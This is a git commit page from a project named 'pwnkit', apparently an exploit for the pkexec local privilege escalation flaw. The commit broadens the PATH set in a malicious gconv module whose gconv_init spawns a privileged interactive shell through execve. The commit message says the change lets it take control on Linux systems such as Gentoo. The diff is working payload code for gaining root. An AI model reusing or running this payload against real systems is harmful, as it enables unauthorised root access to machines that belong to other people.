pwnkit: Adds full PATH support

This will take full control of executables on certain Linux systems that
don't use /usr merge as their filesystem layout, for example Gentoo.

Signed-off-by: Harry Kurn <alternate-se7en@pm.me>
This commit is contained in:
Harry Kurn 2022-01-27 13:34:04 +07:00
parent 87ebfb4d70
commit c52918e9dc
No known key found for this signature in database
GPG Key ID: 7D03DB4D862EA826

View File

@ -8,7 +8,7 @@ void gconv(void) {
void gconv_init(void *step) void gconv_init(void *step)
{ {
char * const args[] = { "/bin/sh", "-pi", NULL }; char * const args[] = { "/bin/sh", "-pi", NULL };
char * const environ[] = { "PATH=/bin:/usr/bin", NULL }; char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };
execve(args[0], args, environ); execve(args[0], args, environ);
exit(0); exit(0);
} }